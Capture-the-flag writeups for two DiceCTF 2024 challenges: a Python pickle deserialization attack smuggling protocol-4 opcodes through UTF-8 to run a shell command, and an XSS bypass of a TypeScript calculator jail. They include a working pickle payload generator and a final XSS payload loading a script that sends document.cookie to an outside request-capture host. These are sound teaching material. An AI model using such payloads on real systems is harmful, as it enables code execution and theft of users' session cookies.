DiceCTF 2024 qualifications challenges

These are my writeups for the DiceCTF 2024 qualifications. The event took place from Fri, 2 Feb. 2024 21:00 UTC until Sun, 4 Feb., 2024 21:00 UTC.

DiceCTF 2024 qualifications Unipickle Writeup

The challenge server runs a Python script called unipickle.py with the following code:

#!/usr/local/bin/python
import pickle
pickle.loads(input("pickle: ").split()[0].encode())

The Python script performs the following steps:

  1. Prompt the user to input a string with pickle: .
  2. Parse the user input as a Unicode string.
  3. Split the string by whitespace
  4. Take the first part
  5. Encode the string as UTF-8 bytes to get a bytes() object.
  6. Call pickle.loads() on the resulting bytes() object.

To solve the challenge, you need to pass a valid Unicode string. This string must then contain something that pickle.loads() can work with after the script turns it to a UTF-8 encoded bytes() object.

Python pickle protocol versions

I’ve stored a pickled Python object in a file called uname.pickle. When you run pickle.loads() on this file’s contents, Python runs uname on your system.

Here’s how the contents of the pickle file look like when you print them with xxd:

00000000: 6370 6f73 6978 0a73 7973 7465 6d0a 2856  cposix.system.(V
00000010: 756e 616d 650a 7452 2e                   uname.tR.

You can visualize the contents of this Python pickle using the pickletools module with python3 -m pickletools:

python3 -m pickletools uname.pickle

This prints the following:

    0: c    GLOBAL     'posix system'
   14: (    MARK
   15: V        UNICODE    'uname'
   22: t        TUPLE      (MARK at 14)
   23: R    REDUCE
   24: .    STOP
highest protocol among opcodes = 0

Python pickles have different protocol versions. Protocol version 0 is useful for deserialization attacks because its opcodes are printable ASCII. Opcodes and inputs are split with newlines.

Yet, in this challenge the unipickle.py script only looks at the first part of the input after calling .split() on it. That makes it difficult to work with version 0.

I instead chose to focus on understanding how I can create a protocol version 4 payload that still passes as valid UTF-8.

Smuggling higher values as Unicode characters

The trick is to smuggle version 4 protocol opcodes inside UTF-8 strings. This technique is called Unicode injection and belongs to a larger class of attacks called encoded injection.

You can encode the following byte sequences and generate valid UTF-8 sequences:

  1. 0xxx xxxx
  2. 110x xxxx 10xx xxxx
  3. 1110 xxxx 10xx xxxx 10xx xxxx
  4. 1111 0xxx 10xx xxxx 10xx xxxx

As long as all version 4 protocol opcodes and their following bytes match any of the four possible UTF-8 sequences, unipickle.py accepts your input.

Note: another method that prevents unipickle.py from removing parts of your input is using ${IFS} as a space replacement for command injections. This is how it looks like when you replace space characters from head /flag* with ${IFS}:

head${IFS}/flag*

Payload generator

Here’s the payload generator:

#!/usr/bin/env python3
import sys
import math

start = b'U\x05posixU\x06systemq\xc2\x93'

end = b'tR.'

padding = "${IFS}"

minimum_padded_length = 33

def make_payload(payload: str) -> bytes:
    payload = payload.replace(" ", padding)

    length = len(payload)
    assert length < 124

    missing = minimum_padded_length - length

    add_padding_count = int(math.ceil(missing / len(padding)))

    payload = payload + (padding * add_padding_count)

    return start + f'(U{chr(len(payload))}{payload}'.encode() + end


payload = "head /flag*"
encoded = make_payload(payload).decode()
print(encoded)

Here’s the payload decoded with pickletools:

    0: U    SHORT_BINSTRING 'posix'
    7: U    SHORT_BINSTRING 'system'
   15: q    BINPUT     194
   17: \x93 STACK_GLOBAL
   18: (    MARK
   19: U        SHORT_BINSTRING 'head${IFS}/flag*${IFS}${IFS}${IFS}'
   55: t        TUPLE      (MARK at 18)
   56: R    REDUCE
   57: .    STOP
highest protocol among opcodes = 4

This is what you’ll see when you pipe the payload generator’s output into xxd:

00000000: 5505 706f 7369 7855 0673 7973 7465 6d71  U.posixU.systemq
00000010: c293 2855 2268 6561 6424 7b49 4653 7d2f  ..(U"head${IFS}/
00000020: 666c 6167 2a24 7b49 4653 7d24 7b49 4653  flag*${IFS}${IFS
00000030: 7d24 7b49 4653 7d74 522e 0a              }${IFS}tR..

This challenge requires you to closely study Python’s pickle implementation and goes way beyond just blindly copying YAML payloads.

DiceCTF 2024 qualifications Calculator Writeup

This is a writeup for the DiceCTF 2024 Calculator challenge.

Challenge notes

web/calculator BrownieInMotion 45 solves / 126 points

beep boop

calculator.mc.ax [link]

Admin Bot [link]

Downloads calculator.tar.gz [link]

URLs

Files

The calculator.tar.gz archive contains these files:

calculator
├── Dockerfile
├── adminbot_test.js
├── index.ts
├── jail
│   ├── index.ts
│   ├── project.ts
│   ├── queue.ts
│   └── sanitize.ts
├── package-lock.json
└── package.json

Libraries

Reviewing the npm package dependencies in package.json, here are some notable dependencies:

npm isolates

Here’s what isolated-vm does, from the npm page:

isolated-vm – Access to multiple isolates in nodejs

isolated-vm is a library for nodejs which gives you access to v8’s Isolate interface. This allows you to create JavaScript environments which are completely isolated from each other. This can be a powerful tool to run code in a fresh JavaScript environment completely free of extraneous capabilities provided by the nodejs runtime.

The calculator express server uses version 4.7.2 of isolated-vm.

isolated-vm provides these classes for using v8 the Isolate interface:

  1. The Isolate class gives you an interface to the v8 isolate class.
  2. Context objects live within an Isolate objects.
  3. Script objects run inside a Context object.
  4. A Module object is something that an Isolate compiles from code.
  5. A Callback object create references to functions between isolates
  6. A Reference object points at a value inside an isolate.
  7. Instances from the ExternalCopy class point at outside values that you can copy into anIsolate.

Initial analysis

The adminbot_test.js file shows how the admin bot visits pages with the flag cookie set:

export default {
  name: "calculator admin bot",
  timeout: 15_000,
  handler: async (url, ctx) => {
    const page = await ctx.newPage();
    await page.setCookie({
      name: "flag",
      value: flag.trim(),
      domain: "calculator.mc.ax",
    });
    await page.goto(url, { timeout: 5000, waitUntil: "domcontentloaded" });
    await sleep(5000);
  },
};

The goal is to make the admin bot visit the calculator page and steal the contents of this cookie.

Program flow

Here’s what the server index.ts does when you send it a request at /:

  1. The / endpoint receives the q query parameter.
  2. runQuery evaluates q (more on that later).
  3. The / endpoint displays the results of runQuery as message.
  4. The endpoint shows the runQuery results after sanitizing them inside the q <input> HTML field
const sanitize = (code: string): string => {
  return code
    .replaceAll(/</g, "&lt;")
    .replaceAll(/>/g, "&gt;")
    .replaceAll(/"/g, "&quot;");
};

The sanitizer replaces <>" with &lt;&gt;&quot; respectively.

const runQuery = async (query: string): Promise<string> => {
  if (query.length > 75) {
    return "equation is too long";
  }

  try {
    const result = await run(query, 1000, "number");

    if (result.success === false) {
      const errors: string[] = result.errors;
      return sanitize(errors.join("\n"));
    } else {
      const value: number = result.value;
      return `result: ${value.toString()}`;
    }
  } catch (error) {
    return "unknown error";
  }
};

Here’s what the runQuery function does:

  1. It cuts of the query if it’s longer than 75 characters.
  2. It passes query to an async function run from the ./jail package.
  3. run returns a object containing .success, a boolean, .errors, a string array of errors, and .value, a number, if the calculation was successful
  4. When an error occurs during run, it sets result.success to false and populates result.errors. Then, the result of runQuery contains all the errors joined together by newlines and is then run through the same sanitizer used to sanitize the q <input> HTML field.
  5. When no error occurs, runQuery converts result.value into a string and returns it with the format result: $VALUE

Jail package structure

The run function is inside the jail package. Here’s the structure of the jail package:

Code sanitization in the jail

// jail/sanitize.ts
// […]
const parse = (text: string): Result<string> => {
  const file = ts.createSourceFile("file.ts", text, ScriptTarget.Latest);
  if (file.statements.length !== 1) {
    return {
      success: false,
      errors: ["expected a single statement"],
    };
  }

  const [statement] = file.statements;
  if (!ts.isExpressionStatement(statement)) {
    return {
      success: false,
      errors: ["expected an expression statement"],
    };
  }

  return {
    success: true,
    output: ts
      .createPrinter()
      .printNode(EmitHint.Expression, statement.expression, file),
  };
};

export const sanitize = async (
  type: string,
  input: string,
): Promise<Result<string>> => {
  if (/[^ -~]|;/.test(input)) {
    return {
      success: false,
      errors: ["only one expression is allowed"],
    };
  }

  const expression = parse(input);

  if (!expression.success) return expression;

  const data = `((): ${type} => (${expression.output}))()`;
  const project = new VirtualProject("file.ts", data);
  const { errors, messages } = await project.lint();

  if (errors > 0) {
    return { success: false, errors: messages };
  }

  return project.compile();
};

The jail package makes sure that the input complies with the following requirements:

  1. The input contains a single statement in parse(text).
  2. The input contains an expression in parse(text).
  3. The input contains at most one expression in sanitize(type, input)
  4. The input contains only printable characters, except for a semicolon in sanitize(type, input).

The sanitize(type, input) function then puts this input into the following template:

((): number =>${expression.output}))()

Code execution in the jail

// jail/index.ts
// […]
export const run = async <T extends keyof RunTypes>(
  code: string,
  timeout: number,
  type: T,
): Promise<RunResult<T>> => {
  const result = await sanitize(type, code);
  if (result.success === false) return result;
  return await queue.queue<RunResult<T>>(async (isolate) => {
    const context = await isolate.createContext();
    return Promise.race([
      context.eval(result.output).then(
        (output): RunResult<T> => ({
          success: true,
          value: output,
        }),
      ),
      new Promise<RunResult<T>>((resolve) => {
        setTimeout(() => {
          context.release();
          resolve({
            success: false,
            errors: ["evaluation timed out!"],
          });
        }, timeout);
      }),
    ]);
  });
};

I now look at the run(code, timeout, type) function in jail/index.ts. To sum it up, it’s a complicated way of performing a regular JavaScript eval().

Here are some more ideas:

To test if file access is possible at all, I run lstat /etc inside an isolate:

require("child_process");

To get back to the problem that you need to solve, here’s what should happen:

  1. You read out the cookie from document.cookie
  2. You do something with that cookie, like send it somewhere (using XSS)

We can inject a script on behalf of the admin bot through a query, yes. But, the jail package sanitizes any script when an error is returned, or it sanitizes it when it evaluates the script.

Here are the two possible information flows:

  1. For a valid query, the result has to be a number (as assertion not allowed), and jail/sanitize.ts:sanitize then sanitizes it.
  2. For an invalid query, the result might contain a XSS payload, but index.ts:sanitize then sanitizes it.

You can smuggle in an XSS payload in two places, but both of these appear to be hardened.

    <input type="text" name="q" value="${sanitize(query)}">
    <input type="submit">
</form>
<p>${message}</p>

To mix things up, I try the following payload:

(() => true)() && 0;

Submitting this through the admin bot gives the response

[object Object]

This looks promising.

Yet, [object Object] comes from an error and isn’t what we need to return an XSS payload.

Exploring the type smuggling vulnerability

Testing reveals that Object.defineProperty can bypass type restrictions and pollute the Object prototype:

[(Object.prototype.toString = () => "true")].length;
// -> 1

Setting global variables:

[Object.defineProperty(globalThis, "1", {})].length;
// -> 1

Here’s how you can override the return value of length to return a string:

Object.defineProperty(globalThis.Array, "length", { value: "asd" }).length;
// -> "asd"

This returns "asd" instead of a number, allowing string injection.

Developing the payload

The payload needs to work within the 75-character limit:

Object.defineProperty(Array, "length", { value: "<i>asd</i>" }).length;
// -> "<i>asd</i>"

This renders <i>asd</i> in the response. I then try refining this payload to so that it can become a proper XSS payload.

Object.defineProperty(Array, "length", { value: "<script>1</script>" }).length;
// -> "<script>1</script>"

A prototype pollution based XSS payload with this code would become too long and break the 75 character limit. I decide to look at the linting step.

Final payload

The trick is to prevent ESLint from complaining about type assertions using the eslint-disable comment. This tells ESLint to not check the rest of the code.

I upload a script to my website so that you can download it from https://www.justus.pw/s.js. This lets me keep the payload length short. I run a RequestBin type request interceptor on dicectf2024.free.beecepter.com. Here’s the script:

var i = new Image();
i.src = "https://dicectf2024.free.beeceptor.com/?" + document.cookie;

Here’s the final payload:

/*eslint-disable*/<any>"<script src=//justus.pw/s.js></script>"